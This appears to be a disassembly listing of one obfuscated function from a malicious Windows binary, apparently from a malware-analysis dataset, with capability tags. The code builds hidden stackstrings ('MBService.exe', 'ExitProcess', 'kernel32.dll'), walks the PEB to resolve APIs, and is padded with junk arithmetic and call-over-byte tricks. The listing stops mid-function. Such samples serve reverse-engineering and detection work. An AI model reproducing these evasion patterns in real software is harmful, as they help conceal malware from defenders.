Function at 0x4052a4
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor ecx, 0x151aa
pop ecx
mov eax, 0x4d
mov word [ebp - 0x2030], ax
mov ecx, 0x42
mov word [ebp - 0x202e], cx
mov edx, 0x53
mov word [ebp - 0x202c], dx
mov eax, 0x65
mov word [ebp - 0x202a], ax
mov ecx, 0x72
mov word [ebp - 0x2028], cx
mov edx, 0x76
mov word [ebp - 0x2026], dx
mov eax, 0x69
mov word [ebp - 0x2024], ax
mov ecx, 0x63
mov word [ebp - 0x2022], cx
mov edx, 0x65
mov word [ebp - 0x2020], dx
mov eax, 0x2e
mov word [ebp - 0x201e], ax
mov ecx, 0x65
mov word [ebp - 0x201c], cx
mov edx, 0x78
mov word [ebp - 0x201a], dx
mov eax, 0x65
mov word [ebp - 0x2018], ax
xor ecx, ecx
mov word [ebp - 0x2016], cx
mov dword [ebp - 0x1064], 1
push edi
xor edi, 0x16e68
xor edi, 0x10d25
sub edi, 0x18522
pop edi
push edi
push edx
add esp, 4
or edi, 0x1060
and edi, 0xc9e7
add edi, 0x79a1
sub edi, 0x5494
pop edi
imul edx, dword [ebp - 0x1064], 0x138
add edx, 0x55f3663b
imul eax, dword [ebp - 0x1064], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0x1064]
imul ecx, dword [ebp - 0x1064], 0x138
sub edx, ecx
mov dword [ebp - 0x1068], edx
push ecx
jmp 0x401446
and ecx, 0x6258
and ecx, 0xb63f
xor ecx, 0x5a8b
pop ecx
push ecx
jmp 0x401462
add ecx, 0x13f05
sub ecx, 0x15882
pop ecx
mov dword [ebp - 0x10], 1
push eax
push eax
add esp, 4
jmp 0x401480
call 0x40148c
add byte [ebx + esi + 0x32], cl
inc eax
inc esp
add esp, 4
jmp 0x401497
pop eax
push esi
xor esi, 0x12b4f
pop esi
push edi
sub edi, 0xf327
pop edi
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x55f3663b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push edi
push eax
add esp, 4
jmp 0x4014e0
and edi, 0x125dc
pop edi
push eax
jmp 0x4014ed
and eax, 0xe356
pop eax
push ecx
push edi
add esp, 4
xor ecx, 0xef8e
sub ecx, 0x814c
pop ecx
push edi
push edx
add esp, 4
sub edi, 0x9e94
sub edi, 0xeaf5
sub edi, 0x260c
pop edi
push ecx
push ecx
add esp, 4
sub ecx, 0x116b3
xor ecx, 0xda34
pop ecx
push ebx
or ebx, 0xc9e9
pop ebx
mov dword [ebp - 0x2c], 1
push eax
sub eax, 0x11c3e
xor eax, 0xeca1
or eax, 0x8c2f
or eax, 0xd037
pop eax
push esi
push eax
add esp, 4
jmp 0x401567
jmp 0x401570
pop esi
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x55f3663b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x401752
mov ecx, dword [ebp - 0x1068]
mov edx, dword [ebp - 0x1064]
mov dword [ebp - 0x163c], ecx
mov dword [ebp - 0x1638], edx
push edi
add edi, 0xfb49
call 0x40177e
add byte [ebx + esi], dh
inc ecx
dec ecx
xor al, byte ds:[edx - 0x7d]
les eax, [edi + ebx*2]
push ecx
and ecx, 0x5d12
xor ecx, 0x175a5
xor ecx, 0xe4d6
xor ecx, 0x5229
pop ecx
push esi
and esi, 0xb683
call 0x4017b1
add byte [eax + 0x32], cl
cmp byte [0x4b3e3f50], dh
add esp, 4
pop esi
push edi
call 0x4017c4
add byte [esi + 0x3b], cl
dec eax
cmp dword [ebx], esi
push eax
inc ebx
add esp, 4
sub edi, 0xf24d
pop edi
mov eax, dword [ebp - 0x30]
add eax, 0x138
imul ecx, dword [ebp - 0x2c], 0x138
add ecx, 0x55f3663b
imul edx, dword [ebp - 0x2c], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1e64], eax
push ecx
add ecx, 0x151eb
add ecx, 0x13f82
and ecx, 0x4aa9
pop ecx
push esi
push ebx
add esp, 4
sub esi, 0x28b3
sub esi, 0x2ab3
and esi, 0x3d22
or esi, 0x812d
pop esi
mov eax, dword [ebp - 0x163c]
add eax, 0x138
imul ecx, dword [ebp - 0x1638], 0x138
add ecx, 0x55f3663b
imul edx, dword [ebp - 0x1638], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1638]
mov dword [ebp - 0x1e60], eax
mov eax, dword [ebp - 0x1e60]
mov dword [ebp - 0x1e68], eax
mov ecx, dword [ebp - 0x1e64]
cmp ecx, dword [ebp - 0x1e68]
jae 0x401886
mov dword [ebp - 0x15ac], 1
jmp 0x401890
mov dword [ebp - 0x15ac], 0
mov dl, byte [ebp - 0x15ac]
mov byte [ebp - 0x3ad], dl
movzx eax, byte [ebp - 0x3ad]
test eax, eax
je 0x404903
push edx
and edx, 0x9138
jmp 0x4018ba
sub edx, 0xff90
pop edx
push edx
sub edx, 0xf497
sub edx, 0x11333
jmp 0x4018d4
pop edx
push edx
add edx, 0x14f13
pop edx
push eax
push edx
add esp, 4
xor eax, 0xdc9
pop eax
push edx
and edx, 0xc59f
or edx, 0x6de9
pop edx
push eax
push ecx
add esp, 4
and eax, 0x35d6
pop eax
push ebx
push esi
add esp, 4
or ebx, 0x11293
pop ebx
mov ecx, dword [ebp - 0x30]
add ecx, 0x138
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x55f3663b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1e6c], ecx
mov ecx, dword [ebp - 0x1e6c]
mov dword [ebp - 0x1e70], ecx
cmp dword [ebp - 0x1e70], 0x63c1
jne 0x401a8a
push edx
push ecx
add esp, 4
or edx, 0xe71f
and edx, 0x58a2
and edx, 0x18261
pop edx
push ecx
xor ecx, 0x13af7
and ecx, 0xc206
add ecx, 0x19dd
or ecx, 0x16041
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x55f3663b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1e74], edx
mov edx, dword [ebp - 0x1e74]
mov dword [ebp - 0x1e78], edx
mov eax, dword [ebp - 0x1e78]
sub eax, 0x898
mov dword [ebp - 0x1e7c], eax
mov dword [ebp - 0x106c], 1
push esi
xor esi, 0x14d11
and esi, 0x12435
or esi, 0xadab
pop esi
push esi
call 0x4019fb
add byte [eax], bh
cmp eax, 0x4f3a483b
inc esi
add esp, 4
add esi, 0x409c
sub esi, 0x12856
pop esi
imul ecx, dword [ebp - 0x106c], 0x138
add ecx, 0x55f3663b
imul edx, dword [ebp - 0x106c], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1e7c]
imul ecx, dword [ebp - 0x106c]
imul eax, dword [ebp - 0x106c], 0x138
sub ecx, eax
mov dword [ebp - 0x1070], ecx
mov ecx, dword [ebp - 0x1070]
mov edx, dword [ebp - 0x106c]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push eax
call 0x401a68
add byte [ebx + 0x42], al
xor eax, 0x40383c41
aas
add esp, 4
and eax, 0x79f5
pop eax
push esi
push edi
add esp, 4
or esi, 0xb0e6
or esi, 0x6062
and esi, 0xe824
pop esi
push eax
push ebx
add esp, 4
xor eax, 0x115a4
jmp 0x401a9d
sub eax, 0x11264
pop eax
push edx
push ecx
add esp, 4
and edx, 0x8d94
sub edx, 0x18c0
xor edx, 0xbd5e
pop edx
mov eax, dword [ebp - 0x14]
add eax, 0x138
imul ecx, dword [ebp - 0x10], 0x138
add ecx, 0x55f3663b
imul edx, dword [ebp - 0x10], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1e80], eax
mov eax, dword [ebp - 0x1e80]
mov dword [ebp - 0x1ef0], eax
lea ecx, [ebp - 0x9b0]
mov dword [ebp - 0x3e0], ecx
mov edx, dword [ebp - 0x3e0]
mov dword [edx + 4], 1
push ebx
push edi
add esp, 4
jmp 0x401b18
pop ebx
push eax
call 0x401b28
add byte [edx + 0x4e], al
inc esi
inc ebp
dec ecx
inc edx
xor eax, 0x4c4834f
jmp 0x401b30
add eax, 0xa89c
or eax, 0x5e66
pop eax
mov eax, dword [ebp - 0x3e0]
imul ecx, dword [eax + 4], 0x138
add ecx, 0x55f3663b
mov edx, dword [ebp - 0x3e0]
imul eax, dword [edx + 4], 0x138
sub ecx, eax
xor ecx, 0x23
mov edx, dword [ebp - 0x3e0]
imul ecx, dword [edx + 4]
mov eax, dword [ebp - 0x3e0]
imul edx, dword [eax + 4], 0x138
sub ecx, edx
mov eax, dword [ebp - 0x3e0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3e0]
mov dword [ebp - 0x2084], ecx
push esi
xor esi, 0xcdf5
jmp 0x401b9d
jmp 0x401ba2
pop esi
push ecx
push ecx
add esp, 4
call 0x401bb7
add byte [ebx], bh
dec ebx
dec edi
cmp dl, byte [eax + 0x32]
xor al, 0x4f
push eax
add esp, 4
sub ecx, 0x13695
pop ecx
mov dword [ebp - 0x15b4], 1
push eax
push edi
add esp, 4
sub eax, 0xaf4d
call 0x401be4
add byte [eax], bh
cmp edi, dword [0x414c3449]
cmp al, 0x83
les eax, [eax + ebp*8]
pop es
add byte [eax], al
add byte [eax], al
dec esp
dec esi
dec ecx
inc edx
inc eax
inc esp
add esp, 4
or eax, 0x18223
pop eax
mov dword [ebp - 0x2088], 0x38
mov dword [ebp - 0x208c], 0xe6
mov dword [ebp - 0x2090], 0x6e
mov dword [ebp - 0x2094], 0x6e
mov dword [ebp - 0x2098], 0x78
mov dword [ebp - 0x1640], 1
push esi
add esi, 0xe671
and esi, 0x145e8
sub esi, 0x3e96
pop esi
push edx
call 0x401c5b
add byte [ebx + 0x48], al
dec edx
inc esp
inc ebx
xor al, byte [eax - 0x7d]
les eax, [ecx + eax*4]
ljmp 0xf281
mov dword [ebp - 0x3f4], 0
call 0x404912
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3f4], eax
push ecx
push esi
add esp, 4
or ecx, 0x54d1
pop ecx
push ecx
push ecx
add esp, 4
jmp 0x404936
call 0x404946
add byte [ebp + 0x3b], cl
dec esp
inc ebx
inc ebx
inc ebp
inc ebp
xor al, 0x43
add esp, 4
xor ecx, 0x13503
pop ecx
mov ecx, dword [ebp - 0x20cc]
mov dword [ebp - 0x15c8], ecx
push edi
push edx
add esp, 4
and edi, 0x898e
or edi, 0x9b14
jmp 0x404973
add edi, 0x14920
pop edi
push esi
add esi, 0x120a0
and esi, 0x5b91
add esi, 0x156f5
pop esi
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x55f3663b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x15c8], edx
mov edx, dword [ebp - 0x3f4]
mov dword [ebp - 0x2014], edx
mov eax, dword [ebp - 0x2014]
add eax, dword [ebp - 0x15c8]
mov dword [ebp - 0x3f4], eax
push ecx
push edi
add esp, 4
and ecx, 0x7a6d
xor ecx, 0x8dbc
pop ecx
push edi
and edi, 0x8e8f
and edi, 0x5801
call 0x404a04
add byte [esi], dh
xor al, byte [esp + esi + 0x38]
inc esp
cmp byte [0x4c4833b], dh
pop edi
mov byte [ebp - 0xbf0], 0x52
mov byte [ebp - 0xbef], 0xb9
mov byte [ebp - 0xbee], 0x10
mov byte [ebp - 0xbed], 0x10
mov byte [ebp - 0xbec], 0x10
mov byte [ebp - 0xbeb], 0x10
mov byte [ebp - 0xbea], 0x5a
push esi
jmp 0x404a42
xor esi, 0x2d48
jmp 0x404a50
pop esi
push ebx
add ebx, 0x7d0a
and ebx, 0x31d1
sub ebx, 0x16d9f
add ebx, 0x5e2
pop ebx
mov byte [ebp - 0xbe8], 0x52
mov byte [ebp - 0xbe7], 0xb9
mov byte [ebp - 0xbe6], 0x20
mov byte [ebp - 0xbe5], 0x20
mov byte [ebp - 0xbe4], 0x20
mov byte [ebp - 0xbe3], 0x20
mov byte [ebp - 0xbe2], 0x5a
push edi
push edx
add esp, 4
jmp 0x404aa7
or edi, 0xed60
pop edi
push edi
push ecx
add esp, 4
add edi, 0x386e
or edi, 0x5eae
pop edi
push esi
xor esi, 0x5e65
and esi, 0x370b
pop esi
mov dword [ebp - 0x20d0], 0xe
push ecx
call 0x404ae7
add byte [edx + eax*2 + 0x41], al
dec ecx
inc edx
dec esp
push eax
dec edx
add esp, 4
add ecx, 0xeaea
jmp 0x404af5
pop ecx
push edi
xor edi, 0x15226
and edi, 0x104b8
sub edi, 0x16912
pop edi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbf0]
mov dword [ebp - 0x15cc], eax
push esi
jmp 0x404b27
and esi, 0x2ff7
pop esi
push ebx
push ebx
add esp, 4
and ebx, 0x11b08
xor ebx, 0x3861
call 0x404b4d
add byte [eax + 0x42], cl
dec ecx
inc ebp
inc eax
dec eax
xor edi, dword [edx]
add esp, 4
pop ebx
mov dword [ebp - 0x20d4], 0xffffffff
push ecx
push edi
add esp, 4
or ecx, 0x150ae
xor ecx, 0x1359e
pop ecx
push esi
sub esi, 0x132d3
jmp 0x404b7a
sub esi, 0xeb2b
pop esi
push edx
push ebx
add esp, 4
sub edx, 0x64c4
pop edx
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x500], ecx
jmp 0x404baa
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push ebx
sub ebx, 0x131bc
pop ebx
push ebx
push edx
add esp, 4
add ebx, 0xfb42
jmp 0x404bc4
or ebx, 0x11025
jmp 0x404bcf
pop ebx
push edx
push eax
add esp, 4
sub edx, 0x242b
pop edx
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f4]
cmp eax, 0xffffffff
jb 0x404c24
push eax
push eax
add esp, 4
xor eax, 0x15a33
or eax, 0xe962
pop eax
push ecx
and ecx, 0xf784
pop ecx
push edi
push ebx
add esp, 4
xor edi, 0xa3fc
pop edi
push eax
push ecx
add esp, 4
add eax, 0x232c
pop eax
jmp 0x404e52
mov dword [ebp - 0xc84], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xad0], ecx
push eax
push esi
add esp, 4
sub eax, 0xeff5
pop eax
push ecx
push eax
add esp, 4
or ecx, 0x9489
add ecx, 0x17b1e
xor ecx, 0x106ab
pop ecx
push esi
xor esi, 0x12188
or esi, 0x15aeb
pop esi
mov edx, dword [ebp - 0x15cc]
mov dword [ebp - 0xacc], edx
mov dword [ebp - 0xc88], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15cc]
jne 0x404cd3
push esi
push eax
add esp, 4
jmp 0x404c9c
jmp 0x404ca4
xor esi, 0x4ed4
pop esi
push ebx
or ebx, 0x14953
jmp 0x404cb9
pop ebx
push eax
sub eax, 0x12a38
pop eax
mov ecx, dword [ebp - 0xc88]
mov dword [ebp - 0x15d4], ecx
jmp 0x404e04
cmp dword [ebp - 0xc84], 0
jle 0x404df8
push eax
push edi
add esp, 4
xor eax, 0x13e9a
or eax, 0x13425
and eax, 0xead3
pop eax
push ebx
sub ebx, 0x1658d
pop ebx
push ebx
push edx
add esp, 4
jmp 0x404d0b
or ebx, 0x12d90
pop ebx
mov edx, dword [ebp - 0xad0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xacc]
movzx edx, byte [ecx]
cmp eax, edx
je 0x404d94
push eax
push edx
add esp, 4
and eax, 0xa8c
or eax, 0x15115
pop eax
push ebx
push ecx
add esp, 4
jmp 0x404d45
sub ebx, 0x1506d
xor ebx, 0xefd1
pop ebx
push edi
or edi, 0x9d0f
pop edi
mov eax, dword [ebp - 0xad0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xacc]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x404d7c
mov dword [ebp - 0x15d0], 1
jmp 0x404d86
mov dword [ebp - 0x15d0], 0xffffffff
mov ecx, dword [ebp - 0x15d0]
mov dword [ebp - 0xc88], ecx
jmp 0x404df8
push eax
push edx
add esp, 4
xor eax, 0x5e1b
add eax, 0x120b5
xor eax, 0x48c9
or eax, 0xf24b
pop eax
push ecx
xor ecx, 0x4543
add ecx, 0x16d47
xor ecx, 0x10476
pop ecx
mov edx, dword [ebp - 0xc84]
sub edx, 1
mov dword [ebp - 0xc84], edx
mov eax, dword [ebp - 0xad0]
add eax, 1
mov dword [ebp - 0xad0], eax
mov ecx, dword [ebp - 0xacc]
add ecx, 1
mov dword [ebp - 0xacc], ecx
jmp 0x404cd3
mov edx, dword [ebp - 0xc88]
mov dword [ebp - 0x15d4], edx
cmp dword [ebp - 0x15d4], 0
jne 0x404e4d
push edx
sub edx, 0xe455
or edx, 0x6d0e
pop edx
push edx
and edx, 0x7fde
xor edx, 0x1220b
or edx, 0x94fa
pop edx
push ecx
and ecx, 0xcb7b
pop ecx
push edi
or edi, 0x741a
pop edi
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x3e4], eax
jmp 0x404e8e
jmp 0x404b9b
push ebx
push ecx
add esp, 4
and ebx, 0x1547d
pop ebx
push ebx
call 0x404e6b
add byte [edi + 0x3e], cl
cmp eax, 0x8343403f
les eax, [ecx + eax*4]
pop ebx
jp 0x404e73
add bl, ch
pop es
inc esi
dec ebx
xor edi, dword [0x81374f36]
les edi, [ebx + 1]
add byte [ebx - 0x39], bl
test dword [esp + edi*8], ebx
invalid
push ebx
push eax
add esp, 4
or ebx, 0xddae
pop ebx
push esi
push ecx
add esp, 4
or esi, 0xfd38
pop esi
push edi
xor edi, 0x4ad
add edi, 0x14d73
xor edi, 0x1d1
xor edi, 0x8b78
pop edi
push eax
push ebx
add esp, 4
sub eax, 0x60b2
or eax, 0xf97d
pop eax
push eax
add eax, 0x59b
xor eax, 0x8213
sub eax, 0x1726b
pop eax
push edx
push ecx
add esp, 4
xor edx, 0x4635
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe8]
mov dword [ebp - 0x15d8], eax
push ebx
push eax
add esp, 4
add ebx, 0x122cd
call 0x404f1f
add byte [esi + eax*2 + 0x4f], al
cmp esi, dword [eax + edi]
inc eax
add esp, 4
sub ebx, 0xe46b
call 0x404f35
add byte [ecx + 0x35], cl
inc edx
dec ebp
inc edi
aas
dec ebp
add esp, 4
pop ebx
mov dword [ebp - 0x20d8], 0xffffffff
push edi
or edi, 0xaa58
or edi, 0x1567f
pop edi
push edi
push eax
add esp, 4
or edi, 0x125ac
pop edi
push ecx
push edx
add esp, 4
add ecx, 0xd90a
and ecx, 0xe5bf
or ecx, 0xcb46
pop ecx
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x504], ecx
jmp 0x404f92
mov edx, dword [ebp - 0x504]
add edx, 1
mov dword [ebp - 0x504], edx
push edx
jmp 0x404f99
or edx, 0x25a2
pop edx
push ecx
push edx
add esp, 4
sub ecx, 0x5238
xor ecx, 0xea9e
xor ecx, 0x5492
pop ecx
push edi
push edx
add esp, 4
and edi, 0x180fe
pop edi
mov eax, dword [ebp - 0x504]
sub eax, dword [ebp - 0x3f4]
cmp eax, 0xffffffff
jb 0x40500c
push edi
push edi
add esp, 4
add edi, 0x12746
xor edi, 0xc891
sub edi, 0x11d52
pop edi
push ecx
xor ecx, 0x6fa6
add ecx, 0x9684
or ecx, 0xa15b
add ecx, 0x83f5
pop ecx
jmp 0x40523a
mov dword [ebp - 0xc8c], 7
mov ecx, dword [ebp - 0x504]
mov dword [ebp - 0xac8], ecx
push ecx
or ecx, 0xe71f
xor ecx, 0x4c8f
or ecx, 0xc144
pop ecx
push edi
push eax
add esp, 4
add edi, 0x12372
add edi, 0x5760
add edi, 0xcbf1
or edi, 0xf050
pop edi
mov edx, dword [ebp - 0x15d8]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc90], 0
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0x15d8]
jne 0x4050bb
push ebx
push ecx
add esp, 4
call 0x405089
add byte [edx + 0x49], al
dec ecx
cmp byte [ecx], bh
inc edx
add esp, 4
pop ebx
push eax
push ebx
add esp, 4
or eax, 0x13edc
jmp 0x40509d
add eax, 0xc8e6
xor eax, 0xcd7a
pop eax
mov ecx, dword [ebp - 0xc90]
mov dword [ebp - 0x15a8], ecx
jmp 0x4051ec
cmp dword [ebp - 0xc8c], 0
jle 0x4051e0
push edx
xor edx, 0x589a
xor edx, 0x8e99
and edx, 0x7396
add edx, 0x12181
pop edx
push eax
push ecx
add esp, 4
add eax, 0xbe31
add eax, 0x7655
add eax, 0x17923
pop eax
mov edx, dword [ebp - 0xac8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x40517c
push esi
push edx
add esp, 4
call 0x405121
add byte [esp + ecx*2], dh
xor dh, byte ss:[edi]
dec ecx
add esp, 4
and esi, 0xcc5
add esi, 0x3dbe
pop esi
push edx
jmp 0x40513b
and edx, 0x8ee5
pop edx
mov eax, dword [ebp - 0xac8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x405164
mov dword [ebp - 0x15dc], 1
jmp 0x40516e
mov dword [ebp - 0x15dc], 0xffffffff
mov ecx, dword [ebp - 0x15dc]
mov dword [ebp - 0xc90], ecx
jmp 0x4051e0
push edi
push esi
add esp, 4
sub edi, 0x1e9a
add edi, 0x17b9d
sub edi, 0x12376
pop edi
push edi
or edi, 0xad38
or edi, 0x1840f
add edi, 0x21ed
add edi, 0x8f97
pop edi
mov edx, dword [ebp - 0xc8c]
sub edx, 1
mov dword [ebp - 0xc8c], edx
mov eax, dword [ebp - 0xac8]
add eax, 1
mov dword [ebp - 0xac8], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x4050bb
mov edx, dword [ebp - 0xc90]
mov dword [ebp - 0x15a8], edx
cmp dword [ebp - 0x15a8], 0
jne 0x405235
push eax
push eax
add esp, 4
and eax, 0x5460
add eax, 0x38f6
pop eax
push eax
jmp 0x40520d
pop eax
push esi
call 0x40521d
add byte [ecx + 0x38], al
xor eax, dword [esi + edi + 0x46]
cmp eax, 0x4c4834a
and esi, 0x432e
pop esi
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0xac4], eax
jmp 0x405276
jmp 0x404f83
push ecx
call 0x405249
add byte [ebp + 0x48], al
cmp byte [ebp + 0x38], cl
cmp byte [ebx], bh
inc ebx
add esp, 4
jmp 0x405252
or ecx, 0x5730
jmp 0x40525f
pop ecx
push edi
push eax
add esp, 4
or edi, 0xb64
pop edi
mov dword [ebp - 0xac4], 0
push ecx
jmp 0x405280
call 0x40528d
add byte [0x4f4f4c4f], bh
dec edi
dec eax
add esp, 4
or ecx, 0x15faf
call 0x4052a4
add byte [0x3b504139], bh
cmp al, 0x39
inc ebx
add esp, 4
pop ecx
mov byte [ebp - 0x87c], 0x45
mov byte [ebp - 0x87b], 0x78
mov byte [ebp - 0x87a], 0x69
mov byte [ebp - 0x879], 0x74
mov byte [ebp - 0x878], 0x50
mov byte [ebp - 0x877], 0x72
mov byte [ebp - 0x876], 0x6f
mov byte [ebp - 0x875], 0x63
mov byte [ebp - 0x874], 0x65
mov byte [ebp - 0x873], 0x73
mov byte [ebp - 0x872], 0x73
mov byte [ebp - 0x871], 0
push edx
and edx, 0x9bd3
pop edx
push edi
add edi, 0xc078
or edi, 0x5790
jmp 0x405319
pop edi
push esi
xor esi, 0xb192
and esi, 0x1512b
and esi, 0x14026
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1740], cx
mov edx, 0x65
mov word [ebp - 0x173e], dx
mov eax, 0x72
mov word [ebp - 0x173c], ax
mov ecx, 0x6e
mov word [ebp - 0x173a], cx
mov edx, 0x65
mov word [ebp - 0x1738], dx
mov eax, 0x6c
mov word [ebp - 0x1736], ax
mov ecx, 0x33
mov word [ebp - 0x1734], cx
mov edx, 0x32
mov word [ebp - 0x1732], dx
mov eax, 0x2e
mov word [ebp - 0x1730], ax
mov ecx, 0x64
mov word [ebp - 0x172e], cx
mov edx, 0x6c
mov word [ebp - 0x172c], dx
mov eax, 0x6c
mov word [ebp - 0x172a], ax
xor ecx, ecx
mov word [ebp - 0x1728], cx
push edi
add edi, 0x15787
pop edi
push ecx
push edx
add esp, 4
and ecx, 0x132f
pop ecx
push eax
push eax
add esp, 4
and eax, 0x146d3
or eax, 0x954f
or eax, 0x18014
xor eax, 0x68af
pop eax
push eax
xor eax, 0x11acc
and eax, 0x2575
pop eax
push edi
push esi
add esp, 4
sub edi, 0x3f50
add edi, 0x856d
pop edi
push eax
push esi
add esp, 4
and eax, 0x158ba
sub eax, 0xbd28
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x2034], edx
mov eax, dword [ebp - 0x2034]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x198c], ecx
mov edx, dword [ebp - 0x198c]
mov dword [ebp - 0x15e0], edx
push edi
or edi, 0x7fba
pop edi
push esi
push esi
add esp, 4
sub esi, 0x1ba9
xor esi, 0x367a
xor esi, 0xb09f
pop esi
push eax
push ebx
add esp, 4
and eax, 0x15644
and eax, 0x9625
pop eax
cmp dword [ebp - 0x15e0], 0
jne 0x40549d
mov dword [ebp - 0x2d4], 0
jmp 0x405759
mov eax, dword [ebp - 0x15e0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc9c], edx
push ebx
and ebx, 0x11fe8
add ebx, 0x6437
add ebx, 0x140e2
call 0x4054d1
add byte [ecx + 0x3d], cl
inc ecx
inc esp
dec edi
cmp dword [ebx + eax*2], esi
dec esp
add esp, 4
pop ebx
push ecx
push edx
add esp, 4
add ecx, 0x86e7
pop ecx
cmp dword [ebp - 0xc9c], 0
jne 0x4054f9
mov dword [ebp - 0x2d4], 0
jmp 0x405759
mov eax, dword [ebp - 0xc9c]
mov dword [ebp - 0x508], eax
push edx
push eax
add esp, 4
xor edx, 0xd0e0
jmp 0x405515
pop edx
push edi
push esi
add esp, 4
or edi, 0xcabc
sub edi, 0x62c8
pop edi
push ecx
add ecx, 0x170e7
jmp 0x405536
pop ecx
lea ecx, [ebp - 0x1740]
mov dword [ebp - 0xc98], ecx
mov edx, dword [ebp - 0x508]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc94], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push edi
push eax
add esp, 4
sub edi, 0xc93e
xor edi, 0x15a4d
pop edi
push ecx
push edx
add esp, 4
jmp 0x405583
xor ecx, 0x4f57
jmp 0x40558f
or ecx, 0x5821
pop ecx
mov eax, dword [ebp - 0xc94]
mov cx, word [eax]
mov word [ebp - 0x1036], cx
mov edx, dword [ebp - 0xc94]
add edx, 2
mov dword [ebp - 0xc94], edx
mov ax, word [ebp - 0x1036]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc98]
mov dx, word [ecx]
mov word [ebp - 0x1038], dx
mov eax, dword [ebp - 0xc98]
add eax, 2
mov dword [ebp - 0xc98], eax
mov cx, word [ebp - 0x1038]
mov word [ebp - 0x10c], cx
push edi
push ecx
add esp, 4
add edi, 0x10f
pop edi
push ecx
and ecx, 0x15f9e
pop ecx
push ebx
push esi
add esp, 4
xor ebx, 0xf29a
xor ebx, 0x169dc
jmp 0x40561b
sub ebx, 0xbd25
pop ebx
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x405645
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e8], eax
jmp 0x4056a8
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x405564
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x405564
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x405692
mov dword [ebp - 0x15e4], 0xffffffff
jmp 0x40569c
mov dword [ebp - 0x15e4], 1
mov edx, dword [ebp - 0x15e4]
mov dword [ebp - 0x15e8], edx
cmp dword [ebp - 0x15e8], 0
jne 0x4056f1
push edi
push edx
add esp, 4
jmp 0x4056bb
add edi, 0x72fd
jmp 0x4056c8
jmp 0x4056d0
pop edi
push edx
push edx
add esp, 4
and edx, 0x8312
and edx, 0xa7ad
pop edx
mov eax, dword [ebp - 0x508]
mov dword [ebp - 0x2d4], eax
jmp 0x405759
push eax
push eax
add esp, 4
or eax, 0x5e93
sub eax, 0x7d9a
pop eax
push ebx
push ecx
add esp, 4
xor ebx, 0xa125
sub ebx, 0x137a8
pop ebx
push ebx
xor ebx, 0xccd0
or ebx, 0x17f1c
pop ebx
mov ecx, dword [ebp - 0x508]
mov edx, dword [ecx]
mov dword [ebp - 0x508], edx
mov eax, dword [ebp - 0x508]
cmp eax, dword [ebp - 0xc9c]
je 0x40574f
mov ecx, dword [ebp - 0x508]
